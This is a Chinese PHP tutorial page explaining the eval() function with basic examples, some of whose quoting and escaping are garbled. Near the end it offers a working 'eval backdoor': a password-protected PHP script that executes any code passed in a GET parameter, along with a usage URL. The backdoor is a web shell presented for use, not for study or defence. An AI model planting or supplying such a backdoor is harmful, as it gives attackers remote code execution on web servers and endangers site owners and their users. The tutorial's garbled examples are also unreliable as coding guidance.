您当前的位置: 首页 > 网站编程 > PHP教程 > PHP eval函数使用介绍

PHP eval函数使用介绍

作者:不详 来源:网络 发布时间: 2014-08-13 18:39 点击:
eval()函数中的eval是evaluate的简称,这个函数的作用就是把一段字符串当作PHP语句来执行,一般情况下不建议使用容易被黑客利用 代码: 代码如下: eval(echo'hello world';); 上边代码等同于下边的代码: echohello world; 在浏览器中都输出:hello world 运用eval()要

PHP eval函数使用介绍

  eval()函数中的eval是evaluate的简称,这个函数的作用就是把一段字符串当作PHP语句来执行,一般情况下不建议使用容易被黑客利用

  代码:

  代码如下:

  eval("echo'hello world';");

  上边代码等同于下边的代码:

  echo"hello world";

  在浏览器中都输出:hello world

  运用eval()要注意几点:

  1.eval函数的参数的字符串末尾一定要有分号,在最后还要另加一个分号(这个分号是php限制)

  2.注意单引号,双引号和反斜杠的运用。如果参数中带有变量时,并且变量有赋值操作的话,变量前的$符号钱一定要有来转义。如果没有赋值操作可以不需要。

  代码:

  代码如下:

  $a=100;

  eval("echo$a;");

  因为没有赋值操作,所以可以不用来转义$.等同于以下代码:

  代码如下:

  $a=100;

  eval("echo$a;")

  3.注意在命令式字符串(包括分号)两边必须要有双引号或者根据需要用单引号。否则报错。

  命令式字符串是指:字符串中包括echo、print之类的命令的时候。

  如果参数只有一个变量则可以不用。例如:

  代码如下:

  $func =<<<FUNC

  function test(){

  echo "test eval function";

  }

  FUNC;

  eval($func);

  test();

  分享个php eval后门程序

  要求必须支持eval函数

  使用方法

  http://url/test.php?pwd=admin&action=eval&a=phpinfo();

  代码如下:

  <?php

  $passwd="admin";if($_GET['pwd']!=$passwd)exit;

  if($_GET['action']=="eval" && $_GET['a']){eval($_GET['a']);}

  ?>
分享到:
本文"PHP eval函数使用介绍"由远航站长收集整理而来,仅供大家学习与参考使用。更多网站制作教程尽在远航站长站。
顶一下
(0)
0%
踩一下
(0)
0%
[点击 次] [返回上一页] [打印]
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
用户名: 密码: 验证码:
关于本站 - 联系我们 - 广告合作 - 网站声明 - 友情连接- 网站地图 - 站点地图 - 返回顶部
Copyright © 2007-2013 www.yhzhan.com(远航站长). All Rights Reserved .
远航站长:为中小站长提供最佳的学习与交流平台,提供网页制作与网站编程等各类网站制作教程.
官方QQ:445490277 网站群:26680406 网站备案号:豫ICP备07500620号-4